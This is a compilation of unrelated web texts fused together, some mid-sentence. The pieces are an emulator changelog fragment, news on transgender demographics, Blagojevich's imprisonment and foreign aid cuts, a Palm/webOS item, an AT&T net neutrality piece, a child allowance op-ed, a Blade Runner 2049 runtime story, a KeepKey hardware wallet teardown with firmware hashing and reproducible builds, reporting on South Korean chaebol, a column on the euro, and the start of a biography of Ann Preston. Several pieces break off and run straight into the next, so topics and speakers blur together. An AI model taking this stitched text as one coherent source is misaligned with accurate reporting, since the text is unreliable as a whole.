(DIRECT3D POST-PROCESSING OPTIONS) and lut_texture, lut_enable, ui_lut_texture, ui_lut_enable (BLOOM POST-PROCESSING OPTIONS) - CPU. I80188: Improved the emulation of the 80188 to 87C451 MCU connection in order to reliably set a status bit disktool depends on. Intel P8098. MCS-96. Replaced I/O space with callbacks; use internal space for non-executable register file and SFR area.. Make SFRs more accessible to the debugger. Improved MCS-96 (i8x9x) disassembly: Properly decode names of directly addressed SFRs. This involves a major refactoring of the instruction execution/description unit to keep track of operand sizes and write-only destinations (since 8X9X maps numerous write-only SFRs to the same addresses as read-only SFRs). Correct operand size for immediate modes of ADDCB and SUBCB and indexed mode of MULB. Correct destination register for execution of the indexed mode of 2-argument ANDB. Correct assembler syntax of JBC and JBS (the bit specifier follows the register).. Added save state and miscellaneous other stuff. Save the int_pending register as well (but note that it is not actually cleared upon reset). i8x9x: Added HSO stuff (interrupts & A/D conversion) and A/D interrupt. MCS-48. Eliminated now-unneeded arguments from p1_r and p2_r handlers. Fixed critical bugs with P4-P7 reads in the emulation of the MCS-48 MOVD A,Pp instruction. Set lower 4 bits of P2 to input during (and after) MOVD A,Pp. Fixed length of flags display. MIPS 3: MIPS3 exception handling fixes: Nested exceptions shouldn't overwrite the EPC. Nested tlb exceptions go to the general exception vector. Removed breakpoint for tlb exceptions and branch to proper vector.. MOS Technology M6502: Allow debugger to step over CALLF instruction (m6502\m6502make.py). Motorola M6801: Use DEVCB for ports; removed I/O space and MCFG macros.. Motorola MC68000. Fixed andi, ori and eori instruction. From https://github.com/kstenerud/Musashi/commit/df0fb402a8042c964a70cb987fe6f27ff96952ef and a16bd2bb289ea2cdbb1ca11a997490774eb32b5e.. Improved/simplified chk2cmp2 opcode (m68000\m68k_in.cpp), fixes the helicopter in level 3 of Time Crisis can't be destoryed (ID 00777), the enemy laser is too short in the 3rd stage of Gunlock (ID 01920) and the tanks in Tokyo Wars.. MMU (m68000\m68kmmu.h). Added Special Status Word (SSW) to exception frames. Throw MMU configuration exception if SRP/CRP is invalid. Deduplicated code to set buserror details. Factor out ATC lookup into pmmu_atc_lookup().. Cleanups. Factor out TT register matching into pmmu_match_tt(). Simplify tt/fc matching. Removed dead code. Factor out table walking code. Replaced printf by logerror. This should be switched over to use LOG(), but can't right now because the header file is included directly in C++ classes.. Support short indirect descriptors and set MMU status flags in pmmu_atc_lookup(). This makes the (MESS) HP-UX 9 installer boot. Also tested that the following systems still work: Macintosh IIx with Mac OS 7 and HP-UX 7.. Don't try to read address bits in indirect descriptors as status bits and initialize m_mmu_tmp_sr before doing a table search. With this commit, everything required to run HP-UX 9 in mame is upstream. Tested the following machines with this mmu change: maciix with Mac OS 7, hp9k360 with HP-UX 7, HP-UX 9 and the HP-UX 9 installer.. Splitted m68881_ops() into subfunctions. Decode ptest and pflush (m68000\m68kdasm.cpp). This adds some more decoding to some of the MMU instWith a highly anticipated interview with Diane Sawyer set to air on Friday, former Olympian Bruce Jenner may soon become one of the most famous transgender individuals in the world.
But in some ways, according to the scarce data available, the 65-year-old Jenner is an exceptional case.
LGBT individuals are more likely to be non-white than white, and the majority of transgender people report transitioning before the age of 44. Transgender individuals are also four times more likely than the rest of America to make less than $10,000 per year, according to a 2012 report from two LGBT civil rights groups, The National Center for Transgender Equality and the National Gay and Lesbian Task Force.
Take a look at some other findings about the trans community in the U.S.
Many of the numbers provided below are rough estimates because data collection on transgender individuals is so limited. Still the studies offer a glimpse into the characteristics of trans people in the U.S.
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POPULATION
There are an estimated 700,000 transgender people living in the United States, according Gary Gates, an LGBT demographer at UCLA’s Williams Institute.
Gates estimates about 0.3% of adults are transgender based on analysis of two studies conducted in California and Massachusetts.
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But that’s a rough estimate because data resources are so limited with regard to the transgender population.
RACE
Nonwhite individuals are more likely to identify as LGBT, according to the largest single study of the distribution of the lesbian, gay, bisexual, and transgender population in the U.S.
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The 2012 Gallup survey included 120,000 interviews. But it's unclear how many of the respondents were transgender.
AVERAGE AGE
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The National Center for Transgender Equality and the National Gay and Lesbian Task Force, both LGBT civil rights groups, published one of the largest surveys of the transgender U.S. population in 2011. Their report includes many demographic characteristics still widely used by policy makers and academics.
The study, “Injustice at every turn” surveyed close to 6,500 trans people and found over half of respondents were under the age of 44.
AGE OF TRANSITION
The majority of people surveyed in the “Injustice at every turn” report said they transitioned between the ages of 18 and 44.
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Generally, transgender men transitioned at earlier ages than transgender women.
LOCATION
According to the Injustice at Every Turn survey transgender people are underrepresented in the southern United States.
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DISCRIMINATION AT WORK
Ninety percent of those surveyed reported experiencing harassment, mistreatment or discrimination on the job, according to the “Injustice at every turn” report.
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INCOME
About 70 percent of those surveyed in the “Injustice at every turn” said they were employed.
However, the respondents “reported much lower household incomes than the population as a whole, with many living in dire poverty.”
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Fifteen percent of respondents reported making under $10,000 per year, nearly four times the rate of the same household income category for the general population.
The report found “people of color in general fare worse than white participants across the board, with African American transgender respondents faring worse than all others in many areas examined.”Image caption Blagojevich met supporters - and cameras - outside his home on Wednesday
Disgraced former Illinois Governor Rod Blagojevich has reported to prison to begin his 14-year term for corruption.
Blagojevich, 55, was convicted in June 2011 after he attempted to sell President Barack Obama's former Senate seat.
The married father will serve his time at the Federal Correctional Institution Englewood outside Denver, Colorado.
Blagojevich is the second consecutive Illinois governor to be convicted for corruption.
The Democrat, who appeared on a reality TV show during his case, was covered by camera crews as he left his Chicago home and went through security at the airport.
Menial jail job
"I'm leaving with a heavy heart, a clear conscience and I have high, high hopes for the future," said Blagojevich on Thursday as he left home.
"While my faith in things has sometimes been challenged, I still believe this is America; this is a country that is governed by the rule of law; that the truth ultimately will prevail," he said on Wednesday to an assembled crowd and reporters outside his home.
The former governor, who was heard on FBI wiretaps scoffing at a low-six figure salary, will work a menial prison job that pays 12 cents an hour.
Blagojevich's lawyers say they are working to appeal his sentence. Federal prison rules require inmates to serve 85% of their term before becoming eligible for early release.
He will spend his term in a low-security Colorado prison that also counts Jeff Skilling, Enron's former chief, as an inmate. Skilling is serving a 24-year sentence for fraud.
Most of the 1,000 inmates at FCI Englewood are in jail for drug offences, according to a US Bureau of Prisons spokesman.
Blagojevich was elected governor of Illinois in 2002 and served until 2009, when the state legislature threw him out of office following his arrest.
As governor, he was tasked under law with appointing someone to fill the Senate seat left vacant when Mr Obama won election to the White House.
In wire taps, Blagojevich was heard describing the Senate appointment as a "golden" opportunity.
He was also convicted of trying to extort campaign donations from business executives, and of soliciting bribes from racing officials.
One of his top fundraisers, Antoin Rezko, was sentenced in November to 10-and-a-half years in prison.This article is over 1 year old
Budget director confirmed on Saturday proposed cuts for the state department and USAID by about a third, to help fund expansion of US military budget
The White House budget director confirmed on Saturday that the Trump administration will propose “fairly dramatic reductions” in the US foreign aid budget later this month.
Trump's evidence-free wiretap claim follows rightwing Obama 'coup' stories Read more
It was reported earlier this week that the administration plans to propose to Congress cuts in the budgets for the state department and Agency for International Development (USAID) by about one third.
“We are going to propose to reduce foreign aid and we are going to propose to spend that money here,” White House Office of Management Budget director Mick Mulvaney told Fox News, adding the proposed cuts would include “fairly dramatic reductions in foreign aid”.
Mulvaney said the cuts in foreign aid would help the administration fund a proposed $54bn expansion of the US military budget.
“The overriding message is fairly straightforward: less money spent overseas means more money spent here,” said Mulvaney, a former South Carolina Representative.
The US spends just over $50bn annually on the state department and USAID, compared with $600bn or more each year on the Pentagon. Several Republicans this week raised concerns about the planned cuts to the state department.
“I am very concerned by reports of deep cuts that could damage efforts to combat terrorism, save lives and create opportunities for American workers,” said Ed Royce, the chairman of the House of Representatives foreign affairs committee.
Furthermore, more than 120 retired US generals and admirals – including George Casey, former chief of staff of the army, and David Petraeus, former CIA director and commander of troops in Iraq and Afghanistan – sent a letter to Congress, urging it fully fund diplomacy and foreign aid.
'Gun for hire': how Jeff Sessions used his prosecuting power to target Democrats Read more
“Elevating and strengthening diplomacy and development alongside defense are critical to keeping America safe,” they said. “We know from our service in uniform that many of the crises our nation faces do not have military solutions alone.”
Senator Marco Rubio, a Florida Republican, tweeted earlier this week: “Foreign aid is not charity. We must make sure it is well spent, but it is less than 1% of budget & critical to our national security.”
A US government website said 20 government agencies plan to award $36.5bn in foreign assistance programs in more than 100 countries around the world during the current budget year.
Mulvaney said the Trump administration will release its budget proposal on 16 March. Reuters has reported the administration plans significant proposed cuts in many other domestic programs.Since a very long time we have not seen any changes in the existing Palm hardware and we also have not been hearing about what plans they might have regarding their devices. We all know about the HP and Palm deal, we have also hear that HP will be making use of the WebOS any various devices including an upcoming tablet.
So, there was not much of Palm in all this news but at the developers webinar by AT&T Palm revealed that they working on future devices and a new version of their OS. Although, they cannot yet reveal the roadmap as they are still under the process of being acquired by HP. This is really exciting news as we all know that WebOS is a really brilliant mobile operating system and with the right kind of hardware it may just catapult Palm along with Apple, HTC and Motorola. So, it looks like Palm has a few devices planned for the next year and they have been very excited about it.
Adobe and Palm have also been continuously working together t bring the Flash Player 10.1 to the web-friendly WebOS and even though we have heard of the earlier delays, it looks like they are now putting in some extra effort.
Well, it sure looks like a bright future for Palm, but if they are working on implementing today’s technology in their future phones, I am very sure it is a dead end. With so many new things coming up they have provide something really unique, especially the hardware part.
Source: PreCentralAT&T sees the Title II ruling as very “narrow”
Contrary to most expectations of what the so-called “net neutrality” rules permit Internet service providers to do or not do in terms of prioritizing or blocking content, an AT&T executive said that court intepretations of Title II regulations appear to allow ISPs to slow down or block certain content or traffic types — so long as they are upfront with customers about it.
Hank Hulquist, AT&T’s VP of federal regulatory, proffered that view in a post on the company’s policy blog. The company has strongly opposed net neutrality rules.
“In the past, supporters of Title II often alleged that without reclassification, ISPs would be free to block unpopular opinions or viewpoints that they disagreed with,” Hulquist wrote. “In the understanding of the D.C. Circuit panel majority, it
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nutritious food for their children; are they able to stimulate them in superior ways, or does being able to relax and not worry about safety and day-to-day survival help brain development?Recent Republican anxiety over whether or not to host the 2016 Republican National Convention in Las Vegas have brought to the surface one of the major image struggles between the two parties: namely, which is the most pro-family? As Family PAC Paul Caprio noted, “Parties have images to American voters as to who’s pro-family and who isn’t.” Given how frequently, and wrongly, "family"is conflated with unrelated issues, it’s easy for us to regard "pro-family" positions with suspicion. But it is true that stable family units produce happier, more functional individuals. So if family itself is something political factions can mutually agree on supporting, the question is merely a mechanical one: How do we really support strong, successful bonds between parents and their children? It’s simple: provide parents a monthly, no-strings-attached child allowance.
As a policy theme, the child allowance has precedent in this country in the form of the child tax credit and the personal tax exemption for children, both of which have had broad, across-the-aisle support. Last year, Republican Senator Mike Lee of Utah proposed a tax-reform plan featuring a $3,500 credit for parents per each child under 16 years. More recently, Slate’s Reihan Salam elaborated on Lee’s plan, arguing that the cost of child tax credits should be borne by non-parents, and that the shift of burdens is justified given the unique import of building and raising families. Similar reform plans emphasizing child tax credits have received the blessing of conservative commentators like the New York Times’ Ross Douthat.
But these approaches all feature the same bugs. For one, they’re intensely complicated, often relying on income-based tax structures with multiple cascading brackets and caveats—a tough sell for Republicans who want to simplify the tax code. Secondly, these tax-based approaches perversely provide much more child assistance to middle-class and upper-class families than poor families, and no assistance at all to the poorest families who often file no tax returns—a tough sell for Democrats who want to reduce income inequality. Thirdly, they provide the assistance in an annual lump sum during tax season, making it difficult to incorporate the money into a stable household budget.
But a child allowance would slice through all of these problems. Unlike directing child aid through tax credits and personal tax exemptions, a monthly child allowance would be flat and equally distributed, available at the same rate per child to all parents regardless of income. By providing the allowance independently of the tax code and without means-testing, the child allowance would also reliably wind up in the hands of the families who are most vulnerable to the destructive power of financial instability: the poor.Blockbusters have been getting longer and longer in the past 10 years, but it’s still rare to have one that veers dangerously close three hours. Two-and-a-half hours, sure, but 2 hours and 43 minutes? Not since 2014’s Interstellar have we seen a tentpole of that magnitude.
And Blade Runner 2049 looks like it’ll be following in the footsteps of Interstellar, clocking in at a whopping 163 minutes long. That makes it a serious contender for the longest blockbuster of 2017.
The exact run time of Blade Runner 2049 has not yet been confirmed by Warner Bros., but Sony Russia is listing its run time as 163 minutes, pointed out by the eagle-eyed Twitter user below.
#BladeRunner2049 is apparently 163 mins long (TBC runtime from Sony Russia, via DCP distribution service Kinoplan & https://t.co/GlhBo7IpNt) pic.twitter.com/4Rxp2TzW3R — Anton Volkov (@antovolk) August 29, 2017
Director Denis Villeneuve had told Collider back in July that he expected his Blade Runner sequel to be 2 and a half hours long, but the new information suggests that there are 13 extra minutes to the film. So either Villeneuve couldn’t bring himself to trim down acclaimed cinematographer Roger Deakins‘ stunning shots, or scenes that were meant to be cutting room floor proved to be more essential than anticipated. Either way, get ready for nearly 3 hours of being inundated with neon.
Blade Runner 2049 is a sequel to Ridley Scott‘s 1982 sci-fi classic Blade Runner, taking place 30 years after the film’s original events with Harrison Ford reprising his role as Rick Deckard. But 30 years changes not only the landscape within the movie, but the landscape outside of it — with blockbusters today expected to run more than 2 hours. Indeed, Blade Runner 2049‘s run time is 47 minutes longer than the original Blade Runner, whose theatrical cut was only 116 minutes, or 1 hour and 56 minutes long. Even Scott’s Final Cut, released in 2007, was only 117 minutes long.
While it’s true that you’ll more often see a blockbuster running for 2 hours and 30 minutes, only every few years do you see a major release like this come so close to three hours. Christopher Nolan’s Interstellar was the last to do so in 2014, running 169 minutes. Before that, Peter Jackson’s The Hobbit: An Unexpected Journey also hit the 169 mark back in 2012. Surprisingly, Blade Runner 2049 will beat out this year’s Transformers: The Last Knight, which was only 149 minutes long despite most of the criticisms lobbied against it being related to its bloated length.
Outside of blockbusters, prestige flicks such as Martin Scorsese’s The Wolf of Wall Street and Quentin Tarantino’s The Hateful Eight were the only recent films to clock in at higher run times than Blade Runner 2049, at 179 and 168 minutes, respectively.
Here’s the synopsis for Blade Runner 2049:
Officer K (Ryan Gosling), a new blade runner for the Los Angeles Police Department, unearths a long-buried secret that has the potential to plunge what’s left of society into chaos. His discovery leads him on a quest to find Rick Deckard (Harrison Ford), a former blade runner who’s been missing for 30 years.
Blade Runner 2049 hits theaters October 6, 2017.KeepKey under the hood.
AussieHash Blocked Unblock Follow Following Oct 21, 2015
RTM KeepKey vs Developer KeepKey
In followup of Stellaw’s mighty first look teardown, and my own second look, I would like to post a few observations on the differences between the Release to Manufacturing KeepKeys over the Developer preview KeepKeys.
Both arrived in the same well protected cardboard box with FedEx tracking.
The RTM keepkey box was shrink wrapped and with 2 tamper proof holographic stickers.
(This in contrast to how my First Edition TREZOR arrived)
Inside was a stitched leather sleeve for storing the recovery card, instead of the cardboard sleeve from the developer edition, as well a Chrome extension quickstart guide and Warranty pamphlet. The green tray has been upgraded to thicker cardboard.
The biggest improvement is in the top button. Apparently the metal buttons were not ready in time for the developer units, so they shipped with a plastic button. As a result, on the top/right sides the developer units had a small compressible gap between the front and rear shells. This has been eliminated in the RTM production run.
Under the Hood
Unlike TREZOR, Keepkey have not released their board schematics.
TREZOR uses :
1x OLED display 128x64 UG-2864HSWEG01
1x STM32F205RE
KeepKey uses :
STM32F205RGT6 MCU from STMicroelectronics
256×64 3.12″ OLED
Thus KeepKey has 1MB flash vs 512kB flash for TREZOR
Flash Memory Layout
TREZOR
flash memory layout:
name | range | size | function
— — — — — -+ — — — — — — — — — — — — -+ — — — — -+ — — — — — — — — — Sector 0 | 0x08000000–0x08003FFF | 16 KiB | bootloader code
Sector 1 | 0x08004000–0x08007FFF | 16 KiB | bootloader code
— — — — — -+ — — — — — — — — — — — — -+ — — — — -+ — — — — — — — — — Sector 2 | 0x08008000–0x0800BFFF | 16 KiB | metadata area
Sector 3 | 0x0800C000–0x0800FFFF | 16 KiB | metadata area
— — — — — -+ — — — — — — — — — — — — -+ — — — — -+ — — — — — — — — — Sector 4 | 0x08010000–0x0801FFFF | 64 KiB | application code
Sector 5 | 0x08020000–0x0803FFFF | 128 KiB | application code
Sector 6 | 0x08040000–0x0805FFFF | 128 KiB | application code
Sector 7 | 0x08060000–0x0807FFFF | 128 KiB | application code
===========+=========================+============================ Sector 8 | 0x08080000–0x0809FFFF | 128 KiB | N/A
Sector 9 | 0x080A0000–0x080BFFFF | 128 KiB | N/A
Sector 10 | 0x080C0000–0x080DFFFF | 128 KiB | N/A
Sector 11 | 0x080E0000–0x080FFFFF | 128 KiB | N/A
Interestingly Trezor’s firmware v1.3.3 is only 172kB, whereas v1.3.4 firmware is 262kB, still leaving over 180kB spare
KeepKey
flash memory layout:
— — — — — — — — — —
name | range | size | function
— — — — — -+ — — — — — — — — — — — — -+ — — — — -+ — — — — — — — — — Sector 0 | 0x08000000–0x08003FFF | 16 KiB | bootstrap code (Read Only)
Sector 1 | 0x08004000–0x08007FFF | 16 KiB | empty(Read/Write)
— — — — — -+ — — — — — — — — — — — — -+ — — — — -+ — — — — — — — — — Sector 2 | 0x08008000–0x0800BFFF | 16 KiB | empty (Read/Write) Sector 3 | 0x0800C000–0x0800FFFF | 16 KiB | storage/config (Read/Write)
— — — — — -+ — — — — — — — — — — — — -+ — — — — -+ — — — — — — — — — Sector 4 | 0x08010000–0x0801FFFF | 64 KiB | empty (Read/Write) Sector 5 | 0x08020000–0x0803FFFF | 128 KiB | bootloader code (Read Only)
Sector 6 | 0x08040000–0x0805FFFF | 128 KiB | bootloader code (Read Only)
Sector 7 | 0x08060000–0x0807FFFF | 128 KiB | application code(Read/Write)
===========+=========================+============================ Sector 8 | 0x08080000–0x0809FFFF | 128 KiB | application code (Read/Write)
Sector 9 | 0x080A0000–0x080BFFFF | 128 KiB | application code (Read/Write)
Sector 10 | 0x080C0000–0x080DFFFF | 128 KiB | application code (Read/Write)
Sector 11 | 0x080E0000–0x080FFFFF | 128 KiB | application code (Read/Write)
KeepKey’s firmware v1.0.3 is 302kB, plenty of room for fun additions. KeepKey does rotate the storage segment between Sectors 1,2 and 3 for flash wear levelling.
Open source deterministic bootloader and firmware.
*2019 Update : replace the broken github code links with https://github.com/aussiehash/ for example https://github.com/aussiehash/keepkey-firmware/blob/master/bootloader/local/baremetal/signatures.c#L85
KeepKey’s codebase is a fork of TREZOR’s. The factory installed bootstrap and bootloader are in write protected segments 0, 5 and 6.
The bootloader checks the firmware’s header and code signature then loads the firmware. The bootloader can load unsigned firmware, after first displaying a warning that requires user confirmation each power cycle.
The firmware itself calculates the bootloader’s SHA256 hash, which is viewable with get_features
$./cmdkk.py get_features
vendor: “keepkey.com”
major_version: 1
minor_version: 0
patch_version: 3
….
initialized: false
revision: “hex(086041a2cd4c9cdb814cd71b1c22801d7db68da1)”
bootloader_hash: “hex(6465bc505586700a8111c4bf7db6f40af73e720f9e488d20db56135e5a690c4f)”
imported: false
pin_cached: false
passphrase_cached: false
The entire flash can be dumped by custom firmware, including bootloader and firmware code segments, and the storage sector.
Downgrading from firmware v1.0.3 or flashing unsigned firmware wipes the storage sector.
#!/usr/bin/python
import argparse
import hashlib
import struct
import binascii
import ecdsa
x = open(‘bootloader.RTM.bin’, ‘r’).read()
h = hashlib.sha256()
h.update(x)
x = h.digest()
h = hashlib.sha256()
h.update(x)
print h.hexdigest()
With this python script, our dumped segments 5+6 (0x08020000–0x0805FFFF) produce the same SHA256 hash.
$./bootloader_hash_KeepKey.py
6465bc505586700a8111c4bf7db6f40af73e720f9e488d20db56135e5a690c4f
KeepKey allows for Docker deterministic reproducible builds, the same principle as the tor project. The provided OSX instructions were very simple.
Ok, here are OS X instructions.
First, download the Docker Toolbox at Kitematic: https://kitematic.com. This is a newish tool Docker released that combines everything to make Docker setup a lot easier for the Mac. Once that toolbox is installed (it installs several Apps to make Docker work), run “Kinematic (BETA)” App. The first time it will take a bit to load as it sets up the virtual environment.
Then, in the File menu of Kitematice, click the “Open Docker Command Line Terminal”. In that terminal navigate to cheeky firmware.
$ docker build -t keepkey/firmware.
This builds the docker image we will build in, and the toolchain used for compiling. When that is complete, you can go ahead and compile using:
$./docker_build_release.sh
If you can get it successfully compiled using those commands, the next step is to make sure you have the correct tag checked out of the firmware that you are trying to match (ie. git checkout v1.0.2). Then simply build again:
$./docker_build_release.sh
With Kitematic I was able to reproducibly build firmware (and bootloaders) for v1.0.2
Build succeeded.
******************************************************************** * KeepKey Application Fingerprint * ********************************************************************* e56f6ec523249ef67928a01aef529d36e952ef317a5a9944ebeb480ae251b59b -
and v1.0.3
Build succeeded. ********************************************************************* * KeepKey Application Fingerprint * ********************************************************************* 52f3db3f12f6c6de1da11ce0186dcf072a49f15e4d734daaa9a40e5d68748e4d -
The official signed firmware can be found here.
A modified TREZOR firmware signing script, with KPKY magic and public keys, confirms the same firmware fingerprints as our docker deterministic builds.
$ python firmware_signKeepKey.py -v -f “keepkey_main(1.02).bin”
Firmware size 301408 bytes
Firmware fingerprint: e56f6ec523249ef67928a01aef529d36e952ef317a5a9944ebeb480ae251b59b
Slot #1 signature: VALID 866cca1d0c346921be2ec0316f894c17b473743985bde1bdeb77268c844f9562ab678a71c2d9f58273500924f0e8dda237099aa25820e017c39d213c33d3f98c
Slot #2 signature: VALID a2de0f63734ed59661c0823b8e62b3cf71ba2aa242f0079822ae1442867f737120218a4287c3bcc3f5a85fea6daab1ea5954bff6e7bd5b5c89cf3dca877b060e
Slot #3 signature: VALID eb214c595a528eb617abf104a882578c1e9d706a97a10ed28f139723943dfb72e6ad1dd96643c924ba0d70a11012eb3bc69bfa7c91132861e297c5c91239ba95
$ python firmware_signKeepKey.py -v -f “keepkey_main(1.03).bin”
Firmware size 301760 bytes
Firmware fingerprint: 52f3db3f12f6c6de1da11ce0186dcf072a49f15e4d734daaa9a40e5d68748e4d Slot #1 signature: VALID 329b60b688b184805d8443db5bd8da43a8f98ba294c4add0f466b69c0d35e8a0302ef6a02e93901c296ed2c9c7f2abebebe50060a00245c863f9ed805d451185 Slot #2 signature: VALID c32a19006d6391fe03ec95874c14a97956bb536053059c4df26dbdd06d674e862a5f58364ee2000035b874363b16620f29ed923e9b6b111c5e7b48c95d06bcfe Slot #3 signature: VALID c4a5b2d5b53922329d086ddbb11ce8d522586b9ab9d3beb3fe1e4bc17dd533e9ad12e47caac3286ac34cd612399e1a2733c565eec3ea93327e2d56be871333c8
The factory installed bootloader, dumped then cropped to size, is identical to the v1.0.3 docker built bootloader.
$ md5 cropped_RTM_bootloader.bin bootloader_main.bin
MD5 (cropped_RTM_bootloader.bin) = 79f7c2f3b76bba4d751ca5545b7b266c
MD5 (bootloader_main.bin) = 79f7c2f3b76bba4d751ca5545b7b266c
Lastly, dumping the application segment (0x08060000–0x080FFFFF) of our custom firmware when cropped to size produces the identical md5 as that of our built custom firmware loaded on KeepKey with firmware_update.
In Conclusion …But at home, the sprawling corporate empires are also seen as predators — so much that protecting smaller businesses from them has become a prominent slogan for both the governing party and the opposition before the December presidential election, which is approaching amid growing discontent about a widening gap between rich and poor. The anti-chaebol rallying cry is a reference to the country’s 1948 Constitution, which requires the state to “prevent the domination of the market and the abuse of economic power and to democratize the economy through harmony among the economic agents.”
For several years, store owners in the traditional shopping street where Mr. In keeps his shop have suffered declining sales because of competition with three hypermarkets and a department store, all within about two kilometers, or 1.2 miles, and all owned by Lotte.
“We only ask chaebol to let us live together with them,” Mr. In, now the leader of a nationwide network of 5,000 independent shop owners, said in an interview at his shop in Bupyeong, a bustling town east of Seoul. “Currently they are behaving like giant serpents gobbling up everything.”
Other countries have found their mom-and-pop retailers squeezed out by hypermarkets, like Wal-Mart in the United States or Tesco in Britain, but to understand how the chaebol operate is to understand how the South Korean economy works.
A typical chaebol comprises dozens of subsidiaries that its chairman controls through a web of cross-shareholdings. Armies of subcontractors depend on the chaebol through patron-client relationships.
Photo
Big companies often dictate a profit margin for subcontractors, no matter how innovative their work, and unilaterally impose a cut in the suppliers’ prices, said Hong Jang-pyo, an economist at Pukyong National University.
In July, the country’s Fair Trade Commission said that the nation’s six main hypermarket and department store chains had forced their domestic suppliers to sign and submit “blank contracts” so that the chains could determine their own share of profit “as they pleased.” Meanwhile, the hypermarket and department store chain run by the Shinsegae chaebol has guaranteed unfairly high profit margins for a bakery and pizza supplier controlled by the chairman’s family, the commission said Wednesday, imposing a financial penalty on the conglomerate.
Advertisement Continue reading the main story
“In South Korea, they say no matter what you do, the winner is already decided and he takes it all,” Kim Byoung-kweon, an economist at the Corea Institute for New Society, said during a recent forum, referring to the chaebol.
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To ordinary South Koreans, never was the hunt by the chaebol for new sources of profit felt more acutely than when they saw the chaebol opening shops in their neighborhoods. First, hypermarkets sprouted, and there are 448 of them now. Then they branched out into “super supermarkets,” smaller than hypermarkets but bigger than traditional supermarkets. There are 1,116 of those now. Most are owned by local chaebol like Shinsegae and Lotte, or by Tesco, which took over the Home Plus hypermarket chain it had started as a joint venture with Samsung.
Samsung and other chaebol opened chains of bakeries or coffee shops. CJ opened a restaurant chain that specializes in bibimbap, a popular rice and vegetable bowl. Some hypermarkets sell tteokbokki, a snack made of rice cake slathered with chili pepper. LG, an electronics conglomerate, sold a Korean blood sausage.
These are the foods some of the poorest South Koreans make a living selling. When one of the hypermarket chains, Lotte Mart, recently sold fried chicken at half the price of mom-and-pop sellers, it set off not only a stampede but also outrage at how such marketing would destroy smaller shops. Under public pressure, Lotte canceled the discount.
“The government repeatedly told us that if chaebol grow, so will employment, exports and our country’s credit ratings, and the benefit will trickle down to us,” said Hong Ji-gwang, 47, owner of a cosmetics shop who is leading a campaign to drive a Home Plus hypermarket out of the Hapjeong district in Seoul. “That’s a lie. Instead of innovation and going abroad for tough competition, they make easy money by taking rice bowls from smaller people.”
At Parliament, rival political parties have submitted a number of “economic democratization” bills, calling for various restrictions aimed at checking the unruly behavior of the chaebol.
Huh Chang-soo, chairman of the Federation of Korean Industries, which speaks for the chaebol, said in July that he could not “understand what they meant by ‘economic democratization.’ ” When the chaebol came under pressure to “share profit” with their subcontractors last year, Lee Kun-hee, the chairman of Samsung, said he had never heard of the concept and did not know “whether it’s used in a socialist, capitalist or Communist country.”
And while accusing politicians of populist “election-year chaebol bashing,” the conglomerates vowed to increase the number of new employees this year by 3.4 percent.
They also distributed gift coupons that their employees could use in traditional markets.
That is unlikely to placate small retailers like Mr. In. “We reject a life of living on little crumbs the chaebol throw to us,” he said.Believe it if you will; Europe’s economic malaise has got nothing to do with the euro.
Hard to believe, perhaps, but this was the suggestion put to me at the CityUK annual dinner this week by someone with a lifetime of public service now turned, as many top civil servants eventually do, to more lucrative work in finance. It’s the sort of nonsense you hear all the time in Brussels, but actually quite infrequently in the City, where dysfunctional monetary union is generally regarded as the main cause of the mischief.
The solution to France’s problems, to Italy’s problems, and so on lies entirely in their own hands, he went on. Germany did proper labour market reform and they are not suffering, he pointed out. We in Britain did labour market reform under Margaret Thatcher, and we are not suffering nearly as badly. Lack of structural reform is the cause of Europe’s ills, not monetary union.
Hmmm. Where to start on this one? It is admittedly not monetary union as such that has imposed crushing austerity on struggling economies, but the politics of the euro most certainly has, and if that’s not an example of dysfunctional monetary union unnecessarily deepening the malaise, I don’t know what is. The politics of the euro has also prevented the more extreme versions of monetary activism practised in Britain and the US. It is surely no coincidence that the countries that have practised these policies are growing again, whereas the eurozone is not.
Don’t get me wrong. I’m not arguing that there is no need for structural reform in Europe. Many eurozone countries still have their heads buried in the sand over lost competitiveness and the challenges of globalisation. They seem to regard the euro as more of a defence against unwelcome global forces than a means of responding to them. As long as that attitude holds sway, the euro can never be made to work.
But it also cannot be made to work in its present, half-baked form. Not until obligations are mutualised, through common treasury, deposit and social insurance functions, can the euro begin to operate like a normal currency. Everyone recognises that this must be the direction of travel, but there is absolutely no collective appetite for these things among euro area members.
Occasionally you get talk of some kind of “grand bargain” – that Germany might be prepared to relax its resistance to full-scale quantitative easing in return for what Richard Barwell, of Royal Bank of Scotland, calls a “Structural Compact”, which like its “fiscal” counterpart would force reform on recalcitrant nations.
But though such a construct might remove one of the key objections to wider use of unconventional monetary policy – that it creates moral hazard by encouraging political inaction – there is very little evidence of this form of agreement ever emerging into the cold light of day. If it is being discussed at all, few give it much of a chance. Certainly you won't see any evidence of it emerging from this week's meeting of the European Central Bank governing council, where policy paralysis remains the order of the day.
It’s certainly true that the future of the euro is very much bound up with willingness in France and elsewhere to engage in supply-side reform, but the idea that this in itself will save the region from depression and future crisis is just wishful thinking.
For Europe, the euro was always a step too far. Politically, it's just not ready for the degree of federalism monetary union demands. Its citizens have been made to pay a terrible price for this act of economic folly.Ann Preston (December 1, 1813 – April 18, 1872) was an American physician, activist, and educator.
Early life [ edit ]
Ann Preston was the first woman dean of a medical school, the Woman's Medical College of Pennsylvania (WMCP), which was the first medical school in the world to admit women exclusively. At a time when the medical profession was nearly all-male and considered unacceptably coarse for women to enter, Ann Preston campaigned for her female students to be admitted to clinical lectures at the Blockley Philadelphia Hospital, and the Pennsylvania Hospital. Despite the open hostility of male medical students, and sometimes of male faculty, Preston determinedly negotiated the best educational opportunities for the students of WMCP.[1]
Preston was born in 1813 in West Grove, Pennsylvania, outside of Philadelphia, to prosperous farmer and prominent Quaker Amos Preston and his wife Margaret Smith Preston. One of eight siblings, she was educated in a local Quaker school and later briefly attended a Quaker boarding school in nearby Chester, Pennsylvania. The Chester County Quaker community was ardently abolitionist and pro-temperance, and the Preston family farm, Prestonville, was known as safe harbor for escaped slaves.[2] As the eldest daughter, Ann took on the responsibility of caring for family during her mother’s frequent illnesses, interrupting her formal education.[3] She began to attend lectures at the local lyceum, belonged to the local literary society, became a member of the Clarkson Anti-Slavery Society, and was active in the temperance and women’s rights movement.[2][3]
